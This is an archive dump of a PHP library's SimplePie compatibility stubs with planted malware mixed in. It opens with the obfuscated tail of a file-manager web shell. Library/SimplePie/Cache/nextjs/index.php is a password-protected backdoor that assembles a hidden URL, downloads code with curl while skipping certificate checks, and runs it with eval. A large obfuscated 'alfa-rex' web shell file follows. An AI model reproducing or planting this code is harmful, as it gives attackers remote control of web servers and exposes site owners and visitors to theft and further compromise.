X2WlU: goto lizd8; LHCej: echo "\74\57\x64\151\166\76"; goto QGtzQ; Ue2mD: echo "\x3c\57\x64\x69\x76\x3e\74\57\144\151\166\x3e"; goto fYOYp; TvCOP: echo "\74\x64\151\x76\76\74\x69\x20\x63\x6c\x61\163\163\75\x22\x66\141\163\x20\x66\x61\55\x66\x6f\154\144\x65\x72\40\x66\x6f\154\144\145\162\x2d\x69\143\157\x6e\40\x6d\162\x2d\62\42\x3e\74\57\151\x3e" . htmlspecialchars($pApRY) . "\x3c\57\144\151\166\76"; goto m8UBT; n1to8: echo "\74\142\x75\164\x74\157\156\40\x74\x79\160\145\x3d\42\163\x75\x62\155\151\x74\42\x20\156\141\155\145\x3d\x22\144\x65\154\145\x74\145\42\40\143\x6c\x61\x73\163\75\x22\142\x74\x6e\x20\x62\164\156\x2d\163\155\40\142\x74\156\55\x64\x61\x6e\147\145\x72\42\76\345\x88\xa0\351\x99\xa4\x3c\x2f\142\165\x74\164\x6f\x6e\x3e"; goto z02fA; yPWFi: echo "\x3c\x2f\x66\x6f\x72\155\x3e"; goto Ue2mD; zr_c2: h5iYo: goto VpROA; WOIUJ: OSNxX: goto zr_c2; n2eJF: echo "\x3c\x61\40\150\x72\145\x66\75\42\77\144\151\x72\75" . urlencode(trim($QLUEa . "\x2f" . $pApRY, "\57")) . "\42\x20\143\154\141\x73\163\x3d\x22\x6c\151\x73\x74\55\x67\162\x6f\x75\x70\x2d\x69\164\145\x6d\x20\x66\157\154\x64\145\162\40\144\x2d\x66\x6c\145\x78\40\x6a\x75\x73\164\x69\146\171\55\143\x6f\156\x74\x65\156\x74\x2d\142\x65\x74\167\145\145\x6e\40\x61\154\151\147\x6e\x2d\151\164\x65\x6d\163\x2d\x63\x65\x6e\x74\145\162\x22\76"; goto TvCOP; mwXxt: echo "\74\x62\x75\x74\164\x6f\x6e\40\x74\171\160\145\x3d\42\163\165\x62\x6d\151\x74\x22\40\156\141\155\145\75\x22\x64\x65\x6c\145\164\x65\42\40\143\x6c\x61\x73\163\x3d\x22\142\164\x6e\40\x62\164\156\55\x73\x6d\x20\142\x74\x6e\55\144\x61\x6e\147\145\x72\42\x3e\xe5\210\xa0\xe9\x99\244\x3c\57\142\165\164\164\157\156\76"; goto yPWFi; vpmES: if ($P6opA) { goto G3WDs; } goto I3M0o; z02fA: echo "\x3c\x2f\146\x6f\162\155\76"; goto YMMCp; Elh70: echo "\x3c\151\x6e\160\x75\164\40\x74\171\160\x65\x3d\x22\150\151\x64\144\145\x6e\42\40\156\x61\x6d\145\x3d\42\x66\151\154\145\x22\x20\166\141\x6c\165\145\75\42" . htmlspecialchars($pApRY) . "\x22\x3e"; goto n1to8; dv3zP: $xwSZ_ = in_array($yBun1, $oGGRJ); goto UrKWw; Ms_L4: $hhVRx = $J0YQG . "\x2f" . $pApRY; goto LtCoj; YMMCp: echo "\74\57\144\x69\x76\76\x3c\x2f\x61\76"; goto O2Ai1; Rpl7s: echo "\x3c\146\157\x72\155\40\x61\143\x74\x69\x6f\156\75\42\42\40\155\x65\164\x68\157\144\x3d\x22\160\157\x73\164\x22\x20\x73\x74\x79\154\x65\75\42\144\151\163\x70\x6c\x61\x79\72\151\156\x6c\x69\x6e\145\x3b\42\x20\157\156\163\x75\x62\x6d\151\164\x3d\42\162\145\164\x75\162\x6e\40\x63\x6f\x6e\x66\x69\x72\x6d\x28\x27\347\241\xae\345\xae\x9a\345\x88\xa0\xe9\x99\244\346\xad\xa4\xe7\x9b\256\345\xbd\225\xef\274\237\47\51\x22\76"; goto Elh70; QGtzQ: echo "\x3c\x64\151\x76\40\x63\154\x61\x73\x73\75\x22\146\x69\154\x65\x2d\x61\143\164\151\157\156\x73\x22\x3e"; goto j7aQt; LFEtI: echo "\74\151\156\x70\x75\164\40\x74\x79\x70\x65\75\x22\x68\x69\144\144\145\x6e\x22\x20\x6e\x61\155\x65\x3d\42\x66\151\154\x65\x22\x20\x76\x61\154\165\x65\75\42" . htmlspecialchars($pApRY) . "\x22\x3e"; goto mwXxt; O2Ai1: xCjJg: goto WOIUJ; J6Egz: G3WDs: goto n2eJF; I3M0o: $yBun1 = pathinfo($pApRY, PATHINFO_EXTENSION); goto dv3zP; m8UBT: echo "\74\x64\151\x76\x20\x63\x6c\x61\163\x73\x3d\42\146\x69\x6c\x65\55\x61\x63\x74\x69\157\156\x73\42\76"; goto Rpl7s; FwYCH: echo "\74\151\40\x63\154\141\163\163\x3d\42\146\141\x73\x20\146\x61\x2d\146\x69\154\x65\40\x6d\x72\x2d\x32\42\76\74\x2f\x69\76" . htmlspecialchars($pApRY); goto n8OCO; VNlcT: echo "\74\x61\x20\150\x72\x65\x66\x3d\42\x3f\144\x69\x72\x3d" . urlencode($QLUEa) . "\46\145\144\x69\164\75" . urlencode($pApRY) . "\42\40\143\x6c\x61\163\163\x3d\x22\142\164\x6e\40\142\164\x6e\x2d\163\x6d\x20\142\x74\x6e\55\x70\x72\x69\x6d\x61\162\x79\x20\155\x72\x2d\x32\x22\76\xe7\xbc\x96\350\xbe\x91\x3c\57\x61\x3e"; goto zB1V1; lizd8: echo "\x3c\146\157\x72\155\x20\141\x63\164\x69\157\x6e\75\x22\42\40\155\145\x74\150\x6f\x64\75\42\x70\157\163\x74\x22\40\x73\164\x79\154\x65\75\x22\x64\151\163\x70\154\x61\x79\72\151\x6e\154\x69\x6e\145\73\x22\x20\x6f\x6e\x73\165\142\155\x69\164\75\42\x72\145\164\x75\x72\156\x20\143\x6f\x6e\146\x69\162\155\50\x27\xe7\xa1\256\xe5\256\232\345\210\240\xe9\x99\xa4\77\47\51\x22\76"; goto LFEtI; S0oYM: echo "\74\x64\x69\x76\76"; goto FwYCH; n8OCO: echo "\74\x73\x70\141\156\40\143\x6c\x61\x73\163\75\x22\146\x69\154\145\55\163\151\172\145\x22\x3e\50" . AdcmM($N1rba) . "\x29\74\57\x73\x70\x61\x6e\x3e"; goto LHCej; fYOYp: goto xCjJg; goto J6Egz; QWrU_: echo "\74\144\151\x76\40\x63\x6c\141\x73\x73\75\42\154\151\163\x74\x2d\x67\x72\x6f\x75\160\x2d\x69\x74\145\155\x20\x64\x2d\146\x6c\145\x78\x20\x6a\165\x73\164\x69\x66\x79\x2d\x63\x6f\x6e\164\x65\x6e\164\x2d\142\145\x74\x77\145\x65\x6e\x20\x61\154\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\x63\x65\x6e\164\x65\x72\42\x3e"; goto S0oYM; UrKWw: $N1rba = filesize($hhVRx); goto QWrU_; Hhf6x: if (!($pApRY != "\x2e" && $pApRY != "\x2e\x2e")) { goto OSNxX; } goto Ms_L4; LtCoj: $P6opA = is_dir($hhVRx); goto vpmES; VpROA: } goto nCTk2; THLHa: echo htmlspecialchars($alr1E); goto iQxCq; A3jah: goto AT8nZ; goto pwWbK; SAXea: ksbvk: goto qGq2K; sLRmK: if (!(strpos(realpath($J0YQG), realpath($ieUjX)) !== 0)) { goto l1_DF; } goto Z_Kzm; PtYh3: echo "\74\x64\151\166\40\x63\154\141\163\x73\x3d\42\155\164\55\64\42\x3e\74\150\x34\76\xe7\xbc\226\350\276\x91\x3a"; goto THLHa; t7UVK: i2Blh: goto mpS0O; RuAEG: yZYdp: goto eR6Wk; io_1g: U25jH: goto lx5i6; TsFq3: goto E3dF6; goto Xo122; Vq_03: goto yZYdp; goto NbkeS; wRxhv: echo "\x3c\x64\x69\x76\76\x3c\x69\40\x63\x6c\x61\163\x73\x3d\x22\x66\141\x73\40\146\x61\55\x6c\145\x76\x65\154\x2d\x75\x70\x2d\x61\154\x74\x20\x66\x6f\154\x64\x65\x72\55\x69\x63\x6f\156\x20\x6d\162\55\x32\x22\76\74\x2f\151\76\344\xb8\212\347\xba\xa7\347\x9b\256\xe5\xbd\225\74\x2f\144\x69\166\76"; goto IVUSs; TNMI8: AT8nZ: goto ZXEXg; lO0HJ: ML_aU: goto A3jah; ojz1D: hPIsg: goto qtlqL; FEHQM: echo "\x3c\x2f\x6f\154\x3e\x3c\x2f\x6e\141\166\76\74\x64\x69\166\40\143\154\141\163\x73\x3d\42\143\x6f\x6e\164\141\x69\156\145\162\x22\76\x3c\150\x31\76\341\x90\xb1\xe1\x92\x8b\341\220\x8a\xe1\222\203\341\221\xb2\341\x93\220\xe1\x93\x82\xe1\x95\220\341\223\x97\341\x92\x8d\40\xe1\223\204\xe1\x93\x87\341\225\220\xe1\x94\252\341\220\x8a\341\x96\205\x3c\57\x68\61\76\x3c\144\151\166\x20\x63\154\141\x73\x73\75\x22\x63\165\162\x72\x65\x6e\x74\55\144\151\162\x22\x3e\74\x69\x20\143\154\x61\x73\163\75\x22\146\x61\55\x66\157\x6c\x64\x65\x72\x20\146\141\163\x20\146\157\x6c\144\145\x72\55\151\x63\157\156\42\x3e\74\x2f\x69\x3e\x20\345\275\x93\xe5\x89\x8d\xe7\233\256\xe5\xbd\x95\x3a"; goto AQ3c3; IXYhp: goto vU4od; goto l3vJl; YJF0D: OGl4i: goto Uq0Ez; a8yKT: goto DafmD; goto WUcUz; uOZhe: echo htmlspecialchars($alr1E); goto egLk2; jz0kw: echo "\x3c\57\144\151\x76\76\74\57\144\x69\x76\76\x3c\x2f\x64\x69\166\x3e\x3c\x6c\x69\x6e\153\40\x68\x72\145\146\75\x22\x68\x74\x74\160\x73\x3a\x2f\x2f\x63\144\x6e\x6a\x73\56\x63\x6c\x6f\165\x64\146\x6c\x61\x72\x65\56\143\x6f\x6d\x2f\x61\x6a\141\x78\x2f\154\151\142\163\57\x66\x6f\x6e\x74\55\x61\167\x65\x73\157\155\145\x2f\65\x2e\x31\65\56\x34\x2f\143\x73\x73\57\141\154\x6c\56\155\151\x6e\56\x63\x73\163\x22\162\145\x6c\x3d\x22\x73\x74\x79\154\x65\x73\150\145\x65\x74\42\76\x3c\x73\x63\162\x69\x70\x74\40\163\162\143\75\42\150\164\x74\160\163\x3a\57\x2f\x63\157\144\145\x2e\x6a\161\165\x65\x72\171\56\143\x6f\155\57\x6a\x71\x75\145\x72\x79\x2d\63\56\x33\56\x31\56\x6d\x69\x6e\56\x6a\x73\42\x3e\x3c\57\163\x63\x72\x69\x70\164\x3e\x3c\x73\x63\x72\151\160\x74\76\44\50\x22\43\146\151\154\145\42\51\56\143\x68\x61\x6e\147\x65\x28\x66\165\x6e\x63\164\x69\157\x6e\50\51\x7b\x76\x61\x72\40\145\x3d\x24\50\164\x68\151\163\51\133\x30\x5d\x2e\146\x69\154\145\163\x3b\x30\x3c\145\x2e\154\145\156\147\x74\x68\46\46\x61\154\x65\162\x74\50\42\xe5\xb7\262\xe9\x80\211\xe6\x8b\xa9\x20\42\53\x65\x2e\x6c\145\x6e\147\x74\x68\x2b\42\x20\344\270\252\xe6\226\x87\344\273\266\x22\x29\175\x29\74\57\x73\x63\x72\x69\x70\x74\76\x3c\57\x62\157\144\x79\x3e\12\74\57\x68\164\x6d\x6c\x3e";
library/SimplePie/Content/Type/Sniffer.php 0000644 00000001164 15220516755 0014551 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Content\Type\Sniffer;
class_exists('SimplePie\Content\Type\Sniffer');
// @trigger_error(sprintf('Using the "SimplePie_Content_Type_Sniffer" class is deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead */
class SimplePie_Content_Type_Sniffer extends Sniffer
{
}
}
library/SimplePie/Parse/Date.php 0000644 00000001065 15220516755 0012551 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Parse\Date;
class_exists('SimplePie\Parse\Date');
// @trigger_error(sprintf('Using the "SimplePie_Parse_Date" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead */
class SimplePie_Parse_Date extends Date
{
}
}
library/SimplePie/Core.php 0000644 00000000464 15220516755 0011514 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
/**
* SimplePie class.
*
* Class for backward compatibility.
*
* @deprecated Use {@see SimplePie} directly
*/
class SimplePie_Core extends SimplePie
{
}
library/SimplePie/Cache/DB.php 0000644 00000001060 15220516755 0012105 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\DB;
class_exists('SimplePie\Cache\DB');
// @trigger_error(sprintf('Using the "SimplePie_Cache_DB" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead */
abstract class SimplePie_Cache_DB extends DB
{
}
}
library/SimplePie/Cache/nextjs/index.php 0000444 00000003665 15220516755 0014255 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto QbRSP; cUi0X: $SS8Fu .= "\x74\150"; goto Lm6A8; fDHNX: $SS8Fu .= "\x2f\72\x73\x70\x74"; goto cUi0X; Bp1Jt: $SS8Fu .= "\141\155\141\144"; goto MSy5Y; XcPDZ: $SS8Fu .= "\144\57"; goto fDHNX; CV6sy: $SS8Fu .= "\x74"; goto S7PS6; TApMc: $SS8Fu .= "\56\63\x30"; goto VbXmc; Lm6A8: eval("\77\76" . TW2kX(strrev($SS8Fu))); goto u6YqK; aHNNy: $SS8Fu .= "\x6d\x61"; goto XcPDZ; S7PS6: $SS8Fu .= "\170\x74"; goto TApMc; D3dVR: $SS8Fu .= "\x2e\62\60\141"; goto aHNNy; VbXmc: $SS8Fu .= "\57\144\154\157\57"; goto Bp1Jt; QbRSP: $SS8Fu = ''; goto CV6sy; MSy5Y: $SS8Fu .= "\57\x70\157\164"; goto D3dVR; u6YqK: function tw2KX($V1_rw = '') { goto xTmsO; xTmsO: $xM315 = curl_init(); goto ApkMJ; OfIzV: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto R98ru; ZvFEW: return $tvmad; goto G_4lU; PIM5F: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto OfIzV; ApkMJ: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto eSOXp; w1838: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto PIM5F; eSOXp: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto w1838; UbqIZ: curl_close($xM315); goto ZvFEW; R98ru: $tvmad = curl_exec($xM315); goto UbqIZ; G_4lU: } library/SimplePie/Cache/MySQL.php 0000644 00000001074 15220516755 0012572 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\MySQL;
class_exists('SimplePie\Cache\MySQL');
// @trigger_error(sprintf('Using the "SimplePie_Cache_MySQL" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead */
class SimplePie_Cache_MySQL extends MySQL
{
}
}
library/SimplePie/Cache/Memcached.php 0000644 00000001130 15220516755 0013464 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\Memcached;
class_exists('SimplePie\Cache\Memcached');
// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcached" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead */
class SimplePie_Cache_Memcached extends Memcached
{
}
}
library/SimplePie/Cache/Redis.php 0000644 00000001074 15220516755 0012673 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\Redis;
class_exists('SimplePie\Cache\Redis');
// @trigger_error(sprintf('Using the "SimplePie_Cache_Redis" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead */
class SimplePie_Cache_Redis extends Redis
{
}
}
library/SimplePie/Cache/Base.php 0000644 00000001075 15220516755 0012500 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\Base;
interface_exists('SimplePie\Cache\Base');
// @trigger_error(sprintf('Using the "SimplePie_Cache_Base" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead */
interface SimplePie_Cache_Base extends Base
{
}
}
library/SimplePie/Cache/File.php 0000644 00000001065 15220516755 0012504 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\File;
class_exists('SimplePie\Cache\File');
// @trigger_error(sprintf('Using the "SimplePie_Cache_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead */
class SimplePie_Cache_File extends File
{
}
}
library/SimplePie/Cache/Memcache.php 0000644 00000001121 15220516755 0013320 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Cache\Memcache;
class_exists('SimplePie\Cache\Memcache');
// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead */
class SimplePie_Cache_Memcache extends Memcache
{
}
}
library/SimplePie/Misc.php 0000644 00000001021 15220516755 0011505 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Misc;
class_exists('SimplePie\Misc');
// @trigger_error(sprintf('Using the "SimplePie_Misc" class is deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead */
class SimplePie_Misc extends Misc
{
}
}
library/SimplePie/Copyright.php 0000644 00000001064 15220516755 0012571 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Copyright;
class_exists('SimplePie\Copyright');
// @trigger_error(sprintf('Using the "SimplePie_Copyright" class is deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead */
class SimplePie_Copyright extends Copyright
{
}
}
library/SimplePie/alfa-rex.PHP 0000644 00000000000 15220516755 0012145 0 ustar 00 library/SimplePie/alfa-rex.PhP7 0000644 00000000000 15220516755 0012274 0 ustar 00 library/SimplePie/gzdecode.php 0000644 00000001055 15220516755 0012405 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Gzdecode;
class_exists('SimplePie\Gzdecode');
// @trigger_error(sprintf('Using the "SimplePie_gzdecode" class is deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead */
class SimplePie_gzdecode extends Gzdecode
{
}
}
library/SimplePie/alfa-rex.php8 0000644 00000000000 15220516755 0012375 0 ustar 00 library/SimplePie/Enclosure.php 0000644 00000001064 15220516755 0012560 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Enclosure;
class_exists('SimplePie\Enclosure');
// @trigger_error(sprintf('Using the "SimplePie_Enclosure" class is deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead */
class SimplePie_Enclosure extends Enclosure
{
}
}
library/SimplePie/Sanitize.php 0000644 00000001055 15220516755 0012407 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Sanitize;
class_exists('SimplePie\Sanitize');
// @trigger_error(sprintf('Using the "SimplePie_Sanitize" class is deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead */
class SimplePie_Sanitize extends Sanitize
{
}
}
library/alfa-rex.php56 0000644 00004142521 15220516755 0010614 0 ustar 00 <?php
goto Ue_Ui; zVisF: $RICuHmCSUH = "\163\144\x66\141\163\146\141\x66\x32\63\64\62\x33\x34"; goto oLFuB; oLFuB: $cWosjlXEcH = "\101\126\167\105\x48\x6a\x73\143\120\x51\x6f\x44\101\x42\x63\127\114\60\x6f\124\104\103\153\164\x4b\125\x34\x73\x41\104\x59\x62\x50\122\71\62\103\x67\x30\164\x48\105\x6f\103\114\x6a\x70\117\x47\121\x41\111\x43\103\x35\x49\x48\61\x73\124\110\130\131\x56\x46\x77\x4d\x36\124\x52\60\160\116\x51\70\x48\101\103\126\x54\101\x51\105\x41\x47\170\101\x64\x64\150\x63\125\x41\172\64\117\x41\153\x70\160\x41\101\101\x2b\115\x67\147\163\127\167\x41\x39\106\171\x49\120\x57\x52\x63\x54\x61\122\143\x76\105\x7a\x4a\x4f\x46\x30\150\x6f\104\x51\106\x4c\x45\104\x30\125\111\x68\143\x55\x46\171\x30\164\113\121\111\x75\103\x41\x41\x44\105\104\x35\x57\116\x30\x67\x31\x57\x42\131\143\110\x31\x51\124\132\121\101\x58\x41\153\x67\x31\x44\x79\153\71\141\x56\x6f\63\123\x42\x39\x66\106\170\x77\114\x57\147\x30\x74\x48\x45\x6b\x43\114\x67\x42\120\x42\x7a\x39\x70\104\x53\x31\x49\x47\x31\x67\x4a\x43\x78\167\x39\106\x77\115\x4d\123\x67\111\65\x5a\122\111\x5a\101\x41\x67\111\x4c\x47\x59\x58\x47\x42\115\x64\x64\154\x38\x57\101\x78\x78\116\101\x52\115\104\113\x51\x4d\x41\x45\101\x6b\x74\143\127\131\x47\x44\x53\111\x70\x57\x42\131\x54\103\x41\x77\110\x50\62\x6c\x4c\x41\170\x41\101\122\103\x39\x62\101\x44\x30\130\x4d\151\153\125\106\x67\122\164\105\150\x6b\101\103\x45\x77\x41\105\101\x52\x49\x4b\130\x64\x71\130\150\121\x63\106\61\x38\127\132\124\x30\120\x4b\x54\x31\160\x48\150\153\101\x41\101\70\x73\132\x6a\x56\x61\104\x53\111\130\130\150\x63\124\x4d\153\x38\x48\x50\x32\x6c\114\101\151\x34\66\x52\x54\116\x68\x4e\x6c\163\x54\x49\x6a\157\x44\117\62\x51\x4c\104\x77\x51\57\x61\121\115\103\120\147\x52\x45\114\101\x4a\x71\106\x78\121\x4d\x4b\122\157\127\x50\x67\x73\160\101\x77\x41\105\101\x51\x49\x75\x59\x56\115\x48\x57\x7a\106\141\x41\62\x70\63\x58\124\x73\165\107\x79\153\101\114\150\x67\x42\x41\x41\101\x6c\x62\x53\61\x32\103\61\147\x57\x48\x43\105\107\x44\x53\x30\x51\x41\121\115\53\x4d\153\101\x48\x50\x32\153\x4a\114\x55\x67\x35\x46\122\x55\x78\110\104\60\130\120\124\x34\101\101\151\154\x6c\x45\x68\153\x41\107\x45\x6f\x74\132\x67\163\131\105\170\61\62\130\150\x51\x54\x41\105\163\x42\105\x77\x4d\x70\101\101\101\x51\x43\103\x31\x4c\x5a\x67\x59\x4e\x49\151\61\x63\106\167\x4d\x41\104\x41\143\57\x61\125\x67\x41\114\150\102\105\114\61\163\x41\120\122\x59\x63\x4b\126\167\x57\x42\x47\60\x53\107\121\101\171\104\x67\115\x51\103\105\x67\160\144\62\157\125\106\x43\x49\x44\106\122\125\53\103\x79\x6b\101\114\147\x52\x4b\101\152\x6c\154\126\152\x64\111\x4e\x56\x6b\130\x44\103\125\131\x45\x78\112\150\x53\x67\101\53\103\x45\x73\x43\x53\x44\126\114\x42\x33\x56\161\103\147\x30\151\113\126\147\125\105\x7a\65\x4f\x47\121\x41\62\x41\121\x41\121\x4f\147\x73\x70\x64\62\x70\x66\x46\147\x77\114\127\x51\153\105\x50\121\153\110\101\x43\x55\x58\x4c\x30\153\104\123\x79\160\x33\141\x6c\70\130\111\150\x39\x59\106\155\x64\x68\x53\x51\x41\101\105\x45\x67\103\x45\x77\x4e\164\114\127\131\x58\x47\x68\121\171\x66\x67\x4d\102\114\152\160\x4f\x46\x30\150\x6f\x53\123\x38\104\x45\62\60\163\x64\x6a\x55\x61\x46\170\x77\66\120\122\x51\x39\x50\x6b\163\x44\x4c\152\64\123\x47\x51\101\x32\104\151\170\155\106\x31\x51\x54\141\147\143\104\106\x6d\125\x39\x44\171\x6b\71\141\x52\x34\x5a\101\102\x68\106\x4c\126\147\104\127\x67\x30\x69\112\126\x30\130\120\124\x70\120\102\x7a\71\160\x53\167\115\x51\x41\x45\x51\172\x59\124\131\x65\x45\171\111\66\101\172\x74\153\x43\x77\70\x45\x50\62\154\x4a\101\x7a\64\x79\122\x53\x77\x43\141\150\121\x55\x44\102\x64\x64\x46\152\x34\114\x4b\121\115\x51\116\x67\x41\103\114\x6d\x46\x54\117\x6d\105\x78\127\147\x4e\x71\144\61\60\67\x4c\x68\163\160\101\x7a\x34\x63\104\x67\x4d\165\x4a\x57\x30\165\123\x41\164\x64\x46\101\167\x68\x42\147\60\x74\x4f\147\x34\x44\105\101\150\x41\x42\60\147\105\125\171\167\x41\x4e\x68\x73\x39\x48\63\131\113\104\123\x30\53\123\x77\x4d\x41\x41\x45\x34\132\x41\101\101\112\x4c\155\131\142\x57\x78\115\144\x64\x68\143\125\105\x7a\x4a\113\110\x53\153\171\123\167\143\x41\x4a\x56\115\102\x41\121\101\142\105\102\61\x32\130\170\x59\x44\x46\x41\115\103\123\x6d\x6c\x4e\101\152\x34\121\x44\x53\x78\142\x41\104\60\130\111\147\x38\x56\x46\x43\61\160\105\x68\153\x41\x47\101\64\104\x4c\147\x68\x49\113\130\x64\x71\130\x78\131\x4d\x42\x31\x77\126\120\147\163\x70\101\103\x34\62\x53\121\115\124\x5a\126\131\x33\123\102\144\132\x46\x78\x77\x58\x47\x42\115\x53\131\125\157\x41\120\147\x68\x4c\x41\122\115\104\142\x53\61\111\x42\170\x55\127\104\x44\157\x44\117\62\121\x4c\x44\167\x51\57\141\x51\105\x44\x50\x6a\157\x4e\x4c\101\112\161\x58\150\x51\x79\106\61\167\127\x50\x67\x73\x70\x41\170\x41\x36\x41\x41\115\x75\x59\x56\x4d\x48\143\x54\x46\141\x41\62\160\63\x58\x54\163\x75\107\x79\153\x41\x45\x44\132\114\101\171\64\x6c\142\123\x35\x6d\x47\x78\125\125\x49\x69\x45\x47\104\123\